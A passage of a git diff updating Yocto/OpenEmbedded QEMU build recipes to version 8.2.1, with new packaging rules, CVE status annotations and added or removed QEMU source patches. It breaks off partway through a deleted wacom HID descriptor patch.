diff --git a/meta/recipes-devtools/qemu/qemu-system-native_8.2.1.bb b/meta/recipes-devtools/qemu/qemu-system-native_8.2.1.bb
new file mode 100644
index 0000000000..0634b34242
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu-system-native_8.2.1.bb
@@ -0,0 +1,31 @@
+BPN = "qemu"
+
+require qemu-native.inc
+
+# As some of the files installed by qemu-native and qemu-system-native
+# are the same, we depend on qemu-native to get the full installation set
+# and avoid file clashes
+DEPENDS += "glib-2.0-native zlib-native pixman-native qemu-native"
+
+EXTRA_OECONF:append = " --target-list=${@get_qemu_system_target_list(d)}"
+
+PACKAGECONFIG ??= "fdt alsa kvm pie slirp png \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'opengl', 'virglrenderer epoxy', '', d)} \
+"
+
+# Handle distros such as CentOS 5 32-bit that do not have kvm support
+PACKAGECONFIG:remove = "${@'kvm' if not os.path.exists('/usr/include/linux/kvm.h') else ''}"
+
+do_install:append() {
+ install -Dm 0755 ${WORKDIR}/powerpc_rom.bin ${D}${datadir}/qemu
+
+ # The following is also installed by qemu-native
+ rm -f ${D}${datadir}/qemu/trace-events-all
+ rm -rf ${D}${datadir}/qemu/keymaps
+ rm -rf ${D}${datadir}/icons/
+ rm -rf ${D}${includedir}/qemu-plugin.h
+
+ # Install qmp.py to be used with testimage
+ install -d ${D}${libdir}/qemu-python/qmp/
+ install -D ${S}/python/qemu/qmp/* ${D}${libdir}/qemu-python/qmp/
+}
diff --git a/meta/recipes-devtools/qemu/qemu.inc b/meta/recipes-devtools/qemu/qemu.inc
index 56df73c067..4501f84c2b 100644
--- a/meta/recipes-devtools/qemu/qemu.inc
+++ b/meta/recipes-devtools/qemu/qemu.inc
@@ -4,12 +4,16 @@ machine's processor through dynamic binary translation and provides a set \
of different hardware and device models for the machine, enabling it to run \
a variety of guest operating systems"
HOMEPAGE = "http://qemu.org"
-LICENSE = "GPLv2 & LGPLv2.1"
+LICENSE = "GPL-2.0-only & LGPL-2.1-only"
-RDEPENDS_${PN}-ptest = "bash make"
+DEPENDS += "bison-native meson-native ninja-native"
+
+RDEPENDS:${PN}-ptest = "bash"
require qemu-targets.inc
-inherit pkgconfig ptest
+# https://gitlab.com/qemu-project/qemu/-/commit/81e2b198a8cb4ee5fdf108bd438f44b193ee3a36 means
+# we need a full python3-native setup
+inherit pkgconfig ptest update-rc.d systemd python3native
LIC_FILES_CHKSUM = "file://COPYING;md5=441c28d2cf86e15a37fa47e15a72fbac \
file://COPYING.LIB;endline=24;md5=8c5efda6cf1e1b03dcfd0e6c0d271c7f"
@@ -17,58 +21,101 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=441c28d2cf86e15a37fa47e15a72fbac \
SRC_URI = "https://download.qemu.org/${BPN}-${PV}.tar.xz \
file://powerpc_rom.bin \
file://run-ptest \
- file://0001-qemu-Add-missing-wacom-HID-descriptor.patch \
- file://0002-Add-subpackage-ptest-which-runs-all-unit-test-cases-.patch \
- file://0003-qemu-Add-addition-environment-space-to-boot-loader-q.patch \
- file://0004-qemu-disable-Valgrind.patch \
- file://0005-qemu-native-set-ld.bfd-fix-cflags-and-set-some-envir.patch \
- file://0006-chardev-connect-socket-to-a-spawned-command.patch \
- file://0007-apic-fixup-fallthrough-to-PIC.patch \
- file://0008-linux-user-Fix-webkitgtk-hangs-on-32-bit-x86-target.patch \
- file://0009-Fix-webkitgtk-builds.patch \
- file://0010-configure-Add-pkg-config-handling-for-libgcrypt.patch \
- file://0001-Add-enable-disable-udev.patch \
- file://0001-qemu-Do-not-include-file-if-not-exists.patch \
- file://CVE-2020-13361.patch \
- file://find_datadir.patch \
- file://CVE-2020-10761.patch \
- file://CVE-2020-13362.patch \
- file://CVE-2020-13659.patch \
- file://CVE-2020-13800.patch \
- file://CVE-2020-13791.patch \
- file://CVE-2020-15863.patch \
- "
+ file://0001-qemu-Add-addition-environment-space-to-boot-loader-q.patch \
+ file://0003-apic-fixup-fallthrough-to-PIC.patch \
+ file://0004-configure-Add-pkg-config-handling-for-libgcrypt.patch \
+ file://0005-qemu-Do-not-include-file-if-not-exists.patch \
+ file://0006-qemu-Add-some-user-space-mmap-tweaks-to-address-musl.patch \
+ file://0007-qemu-Determinism-fixes.patch \
+ file://0008-tests-meson.build-use-relative-path-to-refer-to-file.patch \
+ file://0009-Define-MAP_SYNC-and-MAP_SHARED_VALIDATE-on-needed-li.patch \
+ file://0010-hw-pvrdma-Protect-against-buggy-or-malicious-guest-d.patch \
+ file://0002-linux-user-Replace-use-of-lfs64-related-functions-an.patch \
+ file://fixedmeson.patch \
+ file://no-pip.patch \
+ file://4a8579ad8629b57a43daa62e46cc7af6e1078116.patch \
+ file://0001-linux-user-x86_64-Handle-the-vsyscall-page-in-open_s.patch \
+ file://0002-linux-user-loongarch64-Remove-TARGET_FORCE_SHMLBA.patch \
+ file://0003-linux-user-Add-strace-for-shmat.patch \
+ file://0004-linux-user-Rewrite-target_shmat.patch \
+ file://0005-tests-tcg-Check-that-shmat-does-not-break-proc-self-.patch \
+ file://CVE-2023-6683.patch \
+ file://qemu-guest-agent.init \
+ file://qemu-guest-agent.udev \
+ "
UPSTREAM_CHECK_REGEX = "qemu-(?P<pver>\d+(\.\d+)+)\.tar"
-SRC_URI[md5sum] = "ede6005d7143fe994dd089d31dc2cf6c"
-SRC_URI[sha256sum] = "2f13a92a0fa5c8b69ff0796b59b86b080bbb92ebad5d301a7724dd06b5e78cb6"
+# SDK_OLDEST_KERNEL is set below 4.17, which is the minimum version required by QEMU >= 8.1
+# This is due to two MMAP flags being used at certain points
+SRC_URI:append:class-nativesdk = " \
+ file://0011-linux-user-workaround-for-missing-MAP_FIXED_NOREPLAC.patch \
+ file://0012-linux-user-workaround-for-missing-MAP_SHARED_VALIDAT.patch \
+ "
+
+# Support building and using native version on pre 4.17 kernels
+SRC_URI:append:class-native = " \
+ file://0011-linux-user-workaround-for-missing-MAP_FIXED_NOREPLAC.patch \
+ file://0012-linux-user-workaround-for-missing-MAP_SHARED_VALIDAT.patch \
+ "
+
+SRC_URI[sha256sum] = "8562751158175f9d187c5f22b57555abe3c870f0325c8ced12c34c6d987729be"
+
+CVE_STATUS[CVE-2007-0998] = "not-applicable-config: The VNC server can expose host files uder some circumstances. We don't enable it by default."
+
+# https://bugzilla.redhat.com/show_bug.cgi?id=1609015#c11
+CVE_STATUS[CVE-2018-18438] = "disputed: The issues identified by this CVE were determined to not constitute a vulnerability."
+
+# As per https://nvd.nist.gov/vuln/detail/CVE-2023-0664
+# https://bugzilla.redhat.com/show_bug.cgi?id=2167423
+CVE_STATUS[CVE-2023-0664] = "not-applicable-platform: Issue only applies on Windows"
+
+# As per https://bugzilla.redhat.com/show_bug.cgi?id=2203387
+CVE_STATUS[CVE-2023-2680] = "not-applicable-platform: RHEL specific issue."
+
+CVE_STATUS[CVE-2023-3019] = "cpe-incorrect: Applies only against versions before 8.2.0"
+
+CVE_STATUS[CVE-2023-5088] = "cpe-incorrect: Applies only against version 8.2.0 and earlier"
-COMPATIBLE_HOST_mipsarchn32 = "null"
-COMPATIBLE_HOST_mipsarchn64 = "null"
+CVE_STATUS[CVE-2023-6693] = "cpe-incorrect: Applies only against version 8.2.0 and earlier"
-do_install_append() {
+COMPATIBLE_HOST:mipsarchn32 = "null"
+COMPATIBLE_HOST:mipsarchn64 = "null"
+COMPATIBLE_HOST:riscv32 = "null"
+
+# Per https://lists.nongnu.org/archive/html/qemu-devel/2020-09/msg03873.html
+# upstream states qemu doesn't work without optimization
+DEBUG_BUILD = "0"
+
+do_install:append() {
# Prevent QA warnings about installed ${localstatedir}/run
if [ -d ${D}${localstatedir}/run ]; then rmdir ${D}${localstatedir}/run; fi
}
-do_compile_ptest() {
- make buildtest-TESTS
-}
-
do_install_ptest() {
cp -rL ${B}/tests ${D}${PTEST_PATH}
- find ${D}${PTEST_PATH}/tests -type f -name "*.[Sshcod]" | xargs -i rm -rf {}
+ find ${D}${PTEST_PATH}/tests -type f -name "*.[Sshcodp]" | xargs -i rm -rf {}
- cp ${S}/tests/Makefile.include ${D}${PTEST_PATH}/tests
# Don't check the file genreated by configure
- sed -i -e '/wildcard config-host.mak/d' \
- -e '$ {/endif/d}' ${D}${PTEST_PATH}/tests/Makefile.include
- sed -i -e 's,${HOSTTOOLS_DIR}/python3,${bindir}/python3,' \
- ${D}/${PTEST_PATH}/tests/qemu-iotests/common.env
+ sed -i -e "1s,#!/usr/bin/bash,#!${base_bindir}/bash," ${D}${PTEST_PATH}/tests/data/acpi/disassemle-aml.sh
+
+ # Strip the paths from the QEMU variable, we can use PATH
+ makfiles=$(find ${D}${PTEST_PATH} -name "*.mak")
+ sed -i -e "s#^QEMU=.*/qemu-#QEMU=qemu-#g" $makfiles
+
+ # Strip compiler flags as they break reproducibility
+ sed -i -e "s,^CC=.*,CC=gcc," \
+ -e "s,^CCAS=.*,CCAS=gcc," \
+ -e "s,^LD=.*,LD=ld," $makfiles
+
+ # Update SRC_PATH variable to the right place on target
+ sed -i -e "s#^SRC_PATH=.*#SRC_PATH=${PTEST_PATH}#g" $makfiles
+
+ # https://gitlab.com/qemu-project/qemu/-/issues/1403
+ rm ${D}${PTEST_PATH}/tests/unit/test-io-channel-command
}
# QEMU_TARGETS is overridable variable
-QEMU_TARGETS ?= "arm aarch64 i386 mips mipsel mips64 mips64el ppc ppc64 ppc64le riscv32 riscv64 sh4 x86_64"
+QEMU_TARGETS ?= "arm aarch64 i386 loongarch64 mips mipsel mips64 mips64el ppc ppc64 ppc64le riscv32 riscv64 sh4 x86_64"
EXTRA_OECONF = " \
--prefix=${prefix} \
@@ -81,23 +128,26 @@ EXTRA_OECONF = " \
--sysconfdir=${sysconfdir} \
--libexecdir=${libexecdir} \
--localstatedir=${localstatedir} \
- --with-confsuffix=/${BPN} \
+ --with-suffix=${BPN} \
--disable-strip \
--disable-werror \
--extra-cflags='${CFLAGS}' \
--extra-ldflags='${LDFLAGS}' \
- --with-git=/bin/false \
- --disable-git-update \
+ --disable-download \
+ --disable-docs \
+ --host-cc='${BUILD_CC}' \
+ --disable-af-xdp \
${PACKAGECONFIG_CONFARGS} \
"
-export LIBTOOL="${HOST_SYS}-libtool"
+EXTRA_OECONF:append:class-target = " --cross-prefix=${HOST_PREFIX}"
+EXTRA_OECONF:append:class-nativesdk = " --cross-prefix=${HOST_PREFIX}"
B = "${WORKDIR}/build"
-EXTRA_OECONF_append = " --python=${HOSTTOOLS_DIR}/python3"
+#EXTRA_OECONF:append = " --python=${HOSTTOOLS_DIR}/python3"
-do_configure_prepend_class-native() {
+do_configure:prepend:class-native() {
# Append build host pkg-config paths for native target since the host may provide sdl
BHOST_PKGCONFIG_PATH=$(PATH=/usr/bin:/bin pkg-config --variable pc_path pkg-config || echo "")
if [ ! -z "$BHOST_PKGCONFIG_PATH" ]; then
@@ -106,6 +156,7 @@ do_configure_prepend_class-native() {
}
do_configure() {
+ export PKG_CONFIG=pkg-config
${S}/configure ${EXTRA_OECONF}
}
do_configure[cleandirs] += "${B}"
@@ -113,6 +164,24 @@ do_configure[cleandirs] += "${B}"
do_install () {
export STRIP=""
oe_runmake 'DESTDIR=${D}' install
+
+ # If we built the guest agent, also install startup/udev rules
+ if [ -e "${D}${bindir}/qemu-ga" ]; then
+ install -d ${D}${sysconfdir}/init.d/
+ install -m 0755 ${WORKDIR}/qemu-guest-agent.init ${D}${sysconfdir}/init.d/qemu-guest-agent
+ sed -i 's:@bindir@:${bindir}:' ${D}${sysconfdir}/init.d/qemu-guest-agent
+
+ install -d ${D}${sysconfdir}/udev/rules.d/
+ install -m 0644 ${WORKDIR}/qemu-guest-agent.udev ${D}${sysconfdir}/udev/rules.d/60-qemu-guest-agent.rules
+
+ install -d ${D}${systemd_unitdir}/system/
+ install -m 0644 ${S}/contrib/systemd/qemu-guest-agent.service ${D}${systemd_unitdir}/system
+ sed -i -e 's,-/usr/bin/,-${bindir}/,g' ${D}${systemd_unitdir}/system/qemu-guest-agent.service
+ fi
+ # ELF binary /usr/share/qemu/s390-netboot.img has relocations in .text
+ rm ${D}${datadir}/qemu/s390-netboot.img -f
+ # ELF binary /usr/share/qemu/s390-ccw.img has relocations in .text [textrel]
+ rm ${D}${datadir}/qemu/s390-ccw.img -f
}
# The following fragment will create a wrapper for qemu-mips user emulation
@@ -121,7 +190,7 @@ do_install () {
# This will trigger a MMU access fault in the virtual CPU. With this change,
# the qemu-mips works fine.
# IMPORTANT: This piece needs to be removed once the root cause is fixed!
-do_install_append() {
+do_install:append() {
if [ -e "${D}/${bindir}/qemu-mips" ]; then
create_wrapper ${D}/${bindir}/qemu-mips \
QEMU_RESERVED_VA=0x0
@@ -129,29 +198,18 @@ do_install_append() {
}
# END of qemu-mips workaround
-make_qemu_wrapper() {
- gdk_pixbuf_module_file=`pkg-config --variable=gdk_pixbuf_cache_file gdk-pixbuf-2.0`
-
- for tool in `ls ${D}${bindir}/qemu-system-*`; do
- create_wrapper $tool \
- GDK_PIXBUF_MODULE_FILE=$gdk_pixbuf_module_file \
- FONTCONFIG_PATH=/etc/fonts \
- GTK_THEME=Adwaita
- done
-}
-
# Disable kvm/virgl/mesa on targets that do not support it
-PACKAGECONFIG_remove_darwin = "kvm virglrenderer glx gtk+"
-PACKAGECONFIG_remove_mingw32 = "kvm virglrenderer glx gtk+"
+PACKAGECONFIG:remove:darwin = "kvm virglrenderer epoxy gtk+"
+PACKAGECONFIG:remove:mingw32 = "kvm virglrenderer epoxy gtk+ pie"
PACKAGECONFIG[sdl] = "--enable-sdl,--disable-sdl,libsdl2"
+PACKAGECONFIG[png] = "--enable-png,--disable-png,libpng"
PACKAGECONFIG[virtfs] = "--enable-virtfs --enable-attr --enable-cap-ng,--disable-virtfs,libcap-ng attr,"
PACKAGECONFIG[aio] = "--enable-linux-aio,--disable-linux-aio,libaio,"
-PACKAGECONFIG[xfs] = "--enable-xfsctl,--disable-xfsctl,xfsprogs,"
+PACKAGECONFIG[uring] = "--enable-linux-io-uring,--disable-linux-io-uring,liburing"
PACKAGECONFIG[xen] = "--enable-xen,--disable-xen,xen-tools,xen-tools-libxenstore xen-tools-libxenctrl xen-tools-libxenguest"
PACKAGECONFIG[vnc-sasl] = "--enable-vnc --enable-vnc-sasl,--disable-vnc-sasl,cyrus-sasl,"
PACKAGECONFIG[vnc-jpeg] = "--enable-vnc --enable-vnc-jpeg,--disable-vnc-jpeg,jpeg,"
-PACKAGECONFIG[vnc-png] = "--enable-vnc --enable-vnc-png,--disable-vnc-png,libpng,"
PACKAGECONFIG[libcurl] = "--enable-curl,--disable-curl,curl,"
PACKAGECONFIG[nss] = "--enable-smartcard,--disable-smartcard,nss,"
PACKAGECONFIG[curses] = "--enable-curses,--disable-curses,ncurses,"
@@ -163,9 +221,10 @@ PACKAGECONFIG[gcrypt] = "--enable-gcrypt,--disable-gcrypt,libgcrypt,"
PACKAGECONFIG[nettle] = "--enable-nettle,--disable-nettle,nettle"
PACKAGECONFIG[libusb] = "--enable-libusb,--disable-libusb,libusb1"
PACKAGECONFIG[fdt] = "--enable-fdt,--disable-fdt,dtc"
-PACKAGECONFIG[alsa] = "--audio-drv-list='oss alsa',,alsa-lib"
-PACKAGECONFIG[glx] = "--enable-opengl,--disable-opengl,mesa"
+PACKAGECONFIG[alsa] = "--audio-drv-list=default,,alsa-lib"
+PACKAGECONFIG[epoxy] = "--enable-opengl,--disable-opengl,libepoxy"
PACKAGECONFIG[lzo] = "--enable-lzo,--disable-lzo,lzo"
+PACKAGECONFIG[dax] = "--enable-libdaxctl,--disable-libdaxctl,ndctl"
PACKAGECONFIG[numa] = "--enable-numa,--disable-numa,numactl"
PACKAGECONFIG[gnutls] = "--enable-gnutls,--disable-gnutls,gnutls"
PACKAGECONFIG[bzip2] = "--enable-bzip2,--disable-bzip2,bzip2"
@@ -175,18 +234,77 @@ PACKAGECONFIG[virglrenderer] = "--enable-virglrenderer,--disable-virglrenderer,v
# spice will be in meta-networking layer
PACKAGECONFIG[spice] = "--enable-spice,--disable-spice,spice"
# usbredir will be in meta-networking layer
+PACKAGECONFIG[dbus-display] = "--enable-dbus-display,--disable-dbus-display,glib-2.0-native,dbus"
PACKAGECONFIG[usb-redir] = "--enable-usb-redir,--disable-usb-redir,usbredir"
PACKAGECONFIG[snappy] = "--enable-snappy,--disable-snappy,snappy"
PACKAGECONFIG[glusterfs] = "--enable-glusterfs,--disable-glusterfs,glusterfs"
PACKAGECONFIG[xkbcommon] = "--enable-xkbcommon,--disable-xkbcommon,libxkbcommon"
-PACKAGECONFIG[libudev] = "--enable-libudev,--disable-libudev,eudev"
-PACKAGECONFIG[libxml2] = "--enable-libxml2,--disable-libxml2,libxml2"
+PACKAGECONFIG[libudev] = "--enable-libudev,--disable-libudev,udev"
PACKAGECONFIG[attr] = "--enable-attr,--disable-attr,attr,"
PACKAGECONFIG[rbd] = "--enable-rbd,--disable-rbd,ceph,ceph"
PACKAGECONFIG[vhost] = "--enable-vhost-net,--disable-vhost-net,,"
-PACKAGECONFIG[ust] = "--enable-trace-backend=ust,--enable-trace-backend=nop,lttng-ust,"
+PACKAGECONFIG[ust] = "--enable-trace-backends=ust,,lttng-ust,"
PACKAGECONFIG[pie] = "--enable-pie,--disable-pie,,"
+PACKAGECONFIG[seccomp] = "--enable-seccomp,--disable-seccomp,libseccomp"
+# libnfs is currently provided by meta-kodi
+PACKAGECONFIG[libnfs] = "--enable-libnfs,--disable-libnfs,libnfs"
+PACKAGECONFIG[pmem] = "--enable-libpmem,--disable-libpmem,pmdk"
+PACKAGECONFIG[pulseaudio] = "--enable-pa,--disable-pa,pulseaudio"
+PACKAGECONFIG[selinux] = "--enable-selinux,--disable-selinux"
+PACKAGECONFIG[bpf] = "--enable-bpf,--disable-bpf,libbpf"
+PACKAGECONFIG[capstone] = "--enable-capstone,--disable-capstone"
+PACKAGECONFIG[rdma] = "--enable-rdma,--disable-rdma"
+PACKAGECONFIG[vde] = "--enable-vde,--disable-vde"
+PACKAGECONFIG[fuse] = "--enable-fuse --enable-fuse-lseek,--disable-fuse --disable-fuse-lseek,fuse3"
+PACKAGECONFIG[slirp] = "--enable-slirp,--disable-slirp,libslirp"
+PACKAGECONFIG[brlapi] = "--enable-brlapi,--disable-brlapi"
+PACKAGECONFIG[jack] = "--enable-jack,--disable-jack,jack,"
+PACKAGECONFIG[debuginfo] = "--enable-libdw,--disable-libdw,elfutils"
+PACKAGECONFIG[pipewire] = "--enable-pipewire,--disable-pipewire,pipewire"
+PACKAGECONFIG[sndio] = "--enable-sndio,--disable-sndio,sndio"
+
+INSANE_SKIP:${PN}-common = "arch"
+
+FILES:${PN} += "${datadir}/icons"
+
+# For user who want to install all arch packages
+PACKAGES =+ "${PN}-common"
+RDEPENDS:${PN} += "${PN}-common"
+
+ALLOW_EMPTY:${PN} = "1"
+FILES:${PN} = ""
+
+FILES:${PN}-common = "${bindir}/* ${includedir}/* ${libexecdir}/* ${datadir}/* ${localstatedir}"
+
+PACKAGES_DYNAMIC += "^${PN}-user-.* ^${PN}-system-.*"
+
+PACKAGESPLITFUNCS =+ "split_qemu_packages"
+
+python split_qemu_packages () {
+ archdir = d.expand('${bindir}/')
+ subpackages = do_split_packages(d, archdir, r'^qemu-system-(.*)$', '${PN}-system-%s', 'QEMU full system emulation binaries(%s)' , prepend=True, extra_depends='${PN}-common')
+
+ subpackages += do_split_packages(d, archdir, r'^qemu-((?!system|edid|ga|img|io|nbd|pr-helper|storage-daemon).*)$', '${PN}-user-%s', 'QEMU full user emulation binaries(%s)' , prepend=True, extra_depends='${PN}-common')
+ if subpackages:
+ d.appendVar('RDEPENDS:' + d.getVar('PN'), ' ' + ' '.join(subpackages))
+ mipspackage = d.getVar('PN') + "-user-mips"
+ if mipspackage in ' '.join(subpackages):
+ d.appendVar('RDEPENDS:' + mipspackage, ' ' + d.getVar("MLPREFIX") + 'bash')
+}
+
+# Put the guest agent in a separate package
+PACKAGES =+ "${PN}-guest-agent"
+SUMMARY:${PN}-guest-agent = "QEMU guest agent"
+FILES:${PN}-guest-agent += " \
+ ${bindir}/qemu-ga \
+ ${sysconfdir}/udev/rules.d/60-qemu-guest-agent.rules \
+ ${sysconfdir}/init.d/qemu-guest-agent \
+ ${systemd_unitdir}/system/qemu-guest-agent.service \
+"
-INSANE_SKIP_${PN} = "arch"
+INITSCRIPT_PACKAGES = "${PN}-guest-agent"
+INITSCRIPT_NAME:${PN}-guest-agent = "qemu-guest-agent"
+INITSCRIPT_PARAMS:${PN}-guest-agent = "defaults"
-FILES_${PN} += "${datadir}/icons"
+SYSTEMD_PACKAGES = "${PN}-guest-agent"
+SYSTEMD_SERVICE:${PN}-guest-agent = "qemu-guest-agent.service"
diff --git a/meta/recipes-devtools/qemu/qemu/0001-Add-enable-disable-udev.patch b/meta/recipes-devtools/qemu/qemu/0001-Add-enable-disable-udev.patch
deleted file mode 100644
index 40d83fcfa3..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0001-Add-enable-disable-udev.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From b921e5204030845dc7c9d16d5f66d965e8d05367 Mon Sep 17 00:00:00 2001
-From: Jeremy Puhlman <jpuhlman@mvista.com>
-Date: Thu, 19 Mar 2020 11:54:26 -0700
-Subject: [PATCH] Add enable/disable libudev
-
-Upstream-Status: Pending
-Signed-off-by: Jeremy Puhlman <jpuhlman@mvista.com>
-
-[update patch context]
-Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
----
- configure | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/configure b/configure
-index 36646e7b..48912a94 100755
---- a/configure
-+++ b/configure
-@@ -1601,6 +1601,10 @@ for opt do
- ;;
- --gdb=*) gdb_bin="$optarg"
- ;;
-+ --enable-libudev) libudev="yes"
-+ ;;
-+ --disable-libudev) libudev="no"
-+ ;;
- *)
- echo "ERROR: unknown option $opt"
- echo "Try '$0 --help' for more information"
---
-2.24.0
-
diff --git a/meta/recipes-devtools/qemu/qemu/0001-linux-user-x86_64-Handle-the-vsyscall-page-in-open_s.patch b/meta/recipes-devtools/qemu/qemu/0001-linux-user-x86_64-Handle-the-vsyscall-page-in-open_s.patch
new file mode 100644
index 0000000000..2eaebe883c
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0001-linux-user-x86_64-Handle-the-vsyscall-page-in-open_s.patch
@@ -0,0 +1,56 @@
+From 4517e2046610722879761bcdb60edbb2b929c848 Mon Sep 17 00:00:00 2001
+From: Richard Henderson <richard.henderson@linaro.org>
+Date: Wed, 28 Feb 2024 10:25:14 -1000
+Subject: [PATCH 1/5] linux-user/x86_64: Handle the vsyscall page in
+ open_self_maps_{2,4}
+
+This is the only case in which we expect to have no host memory backing
+for a guest memory page, because in general linux user processes cannot
+map any pages in the top half of the 64-bit address space.
+
+Upstream-Status: Submitted [https://www.mail-archive.com/qemu-devel@nongnu.org/msg1026793.html]
+
+Resolves: https://gitlab.com/qemu-project/qemu/-/issues/2170
+Signed-off-by: Richard Henderson <richard.henderson@linaro.org>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+---
+ linux-user/syscall.c | 16 ++++++++++++++++
+ 1 file changed, 16 insertions(+)
+
+diff --git a/linux-user/syscall.c b/linux-user/syscall.c
+index a114f29a8..8307a8a61 100644
+--- a/linux-user/syscall.c
++++ b/linux-user/syscall.c
+@@ -7922,6 +7922,10 @@ static void open_self_maps_4(const struct open_self_maps_data *d,
+ path = "[heap]";
+ } else if (start == info->vdso) {
+ path = "[vdso]";
++#ifdef TARGET_X86_64
++ } else if (start == TARGET_VSYSCALL_PAGE) {
++ path = "[vsyscall]";
++#endif
+ }
+
+ /* Except null device (MAP_ANON), adjust offset for this fragment. */
+@@ -8010,6 +8014,18 @@ static int open_self_maps_2(void *opaque, target_ulong guest_start,
+ uintptr_t host_start = (uintptr_t)g2h_untagged(guest_start);
+ uintptr_t host_last = (uintptr_t)g2h_untagged(guest_end - 1);
+
++#ifdef TARGET_X86_64
++ /*
++ * Because of the extremely high position of the page within the guest
++ * virtual address space, this is not backed by host memory at all.
++ * Therefore the loop below would fail. This is the only instance
++ * of not having host backing memory.
++ */
++ if (guest_start == TARGET_VSYSCALL_PAGE) {
++ return open_self_maps_3(opaque, guest_start, guest_end, flags);
++ }
++#endif
++
+ while (1) {
+ IntervalTreeNode *n =
+ interval_tree_iter_first(d->host_maps, host_start, host_start);
+--
+2.34.1
+
diff --git a/meta/recipes-devtools/qemu/qemu/0001-qemu-Add-addition-environment-space-to-boot-loader-q.patch b/meta/recipes-devtools/qemu/qemu/0001-qemu-Add-addition-environment-space-to-boot-loader-q.patch
new file mode 100644
index 0000000000..c65508017d
--- /dev/null
+++ b/meta/recipes-devtools/qemu/qemu/0001-qemu-Add-addition-environment-space-to-boot-loader-q.patch
@@ -0,0 +1,33 @@
+From de64af82950a6908f9407dfc92b83c17e2af3eab Mon Sep 17 00:00:00 2001
+From: Jason Wessel <jason.wessel@windriver.com>
+Date: Fri, 28 Mar 2014 17:42:43 +0800
+Subject: [PATCH 01/12] qemu: Add addition environment space to boot loader
+ qemu-system-mips
+
+Upstream-Status: Inappropriate - OE uses deep paths
+
+If you create a project with very long directory names like 128 characters
+deep and use NFS, the kernel arguments will be truncated. The kernel will
+accept longer strings such as 1024 bytes, but the qemu boot loader defaulted
+to only 256 bytes. This patch expands the limit.
+
+Signed-off-by: Jason Wessel <jason.wessel@windriver.com>
+Signed-off-by: Roy Li <rongqing.li@windriver.com>
+
+---
+ hw/mips/malta.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+Index: qemu-8.0.0/hw/mips/malta.c
+===================================================================
+--- qemu-8.0.0.orig/hw/mips/malta.c
++++ qemu-8.0.0/hw/mips/malta.c
+@@ -64,7 +64,7 @@
+ #define ENVP_PADDR 0x2000
+ #define ENVP_VADDR cpu_mips_phys_to_kseg0(NULL, ENVP_PADDR)
+ #define ENVP_NB_ENTRIES 16
+-#define ENVP_ENTRY_SIZE 256
++#define ENVP_ENTRY_SIZE 1024
+
+ /* Hardware addresses */
+ #define FLASH_ADDRESS 0x1e000000ULL
diff --git a/meta/recipes-devtools/qemu/qemu/0001-qemu-Add-missing-wacom-HID-descriptor.patch b/meta/recipes-devtools/qemu/qemu/0001-qemu-Add-missing-wacom-HID-descriptor.patch
deleted file mode 100644
index ae89ae09dd..0000000000
--- a/meta/recipes-devtools/qemu/qemu/0001-qemu-Add-missing-wacom-HID-descriptor.patch
+++ /dev/null
@@ -1,144 +0,0 @@
-From 883feb43129dc39b491e492c7ccfe89aefe53c44 Mon Sep 17 00:00:00 2001
-From: Richard Purdie <richard.purdie@linuxfoundation.org>
-Date: Thu, 27 Nov 2014 14:04:29 +0000
-Subject: [PATCH] qemu: Add missing wacom HID descriptor
-
-The USB wacom device is missing a HID descriptor which causes it
-to fail to operate with recent kernels (e.g. 3.17).
-
-This patch adds a HID desriptor to the device, based upon one from
-real wcom device.
-
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-
-Upstream-Status: Submitted
-2014/11/27
-
-[update patch context]
-Signed-off-by: Sakib Sajal <sakib.sajal@windriver.com>
----
- hw/usb/dev-wacom.c | 94 +++++++++++++++++++++++++++++++++++++++++++++-
- 1 file changed, 93 insertions(+), 1 deletion(-)
-
-diff --git a/hw/usb/dev-wacom.c b/hw/usb/dev-wacom.c
-index 8ed57b3b..1502928b 100644
---- a/hw/usb/dev-wacom.c
-+++ b/hw/usb/dev-wacom.c
-@@ -74,6 +74,89 @@ static const USBDescStrings desc_strings = {
- [STR_SERIALNUMBER] = "1",
- };
-
-+static const uint8_t qemu_tablet_hid_report_descriptor[] = {
-+ 0x05, 0x01, /* Usage Page (Generic Desktop) */
-+ 0x09, 0x02, /* Usage (Mouse) */
-+ 0xa1, 0x01, /* Collection (Application) */
-+ 0x85, 0x01, /* Report ID (1) */
-+ 0x09, 0x01, /* Usage (Pointer) */
-+ 0xa1, 0x00, /* Collection (Physical) */
-+ 0x05, 0x09, /* Usage Page (Button) */
-+ 0x19, 0x01, /* Usage Minimum (1) */
-+ 0x29, 0x05, /* Usage Maximum (5) */
-+ 0x15, 0x00, /* Logical Minimum (0) */
-+ 0x25, 0x01, /* Logical Maximum (1) */
-+ 0x95, 0x05, /* Report Count (5) */
-+ 0x75, 0x01, /* Report Size (1) */
-+ 0x81, 0x02, /* Input (Data, Variable, Absolute) */
-+ 0x95, 0x01, /* Report Count (1) */
-+ 0x75, 0x03, /* Report Size (3) */
-+ 0x81, 0x01, /* Input (Constant) */
-+ 0x05, 0x01, /* Usage Page (Generic Desktop) */
-+ 0x09, 0x30, /* Usage (X) */
-+ 0x09, 0x31, /* Usage (Y) */
-+ 0x15, 0x81, /* Logical Minimum (-127) */
-+ 0x25, 0x7f, /* Logical Maximum (127) */
-+ 0x75, 0x08, /* Report Size (8) */
-+ 0x95, 0x02, /* Report Count (2) */
-+ 0x81, 0x06, /* Input (Data, Variable, Relative) */
-+ 0xc0, /* End Collection */
-+ 0xc0, /* End Collection */
-+ 0x05, 0x0d, /* Usage Page (Digitizer) */
-+ 0x09, 0x01, /* Usage (Digitizer) */
-+ 0xa1, 0x01, /* Collection (Application) */
-+ 0x85, 0x02, /* Report ID (2) */
-+ 0xa1, 0x00, /* Collection (Physical) */
-+ 0x06, 0x00, 0xff, /* Usage Page (Vendor 0xff00) */
-+ 0x09, 0x01, /* Usage (Digitizer) */
-+ 0x15, 0x00, /* Logical Minimum (0) */
-+ 0x26, 0xff, 0x00, /* Logical Maximum (255) */
-+ 0x75, 0x08, /* Report Size (8) */
-+ 0x95, 0x08, /* Report Count (8) */
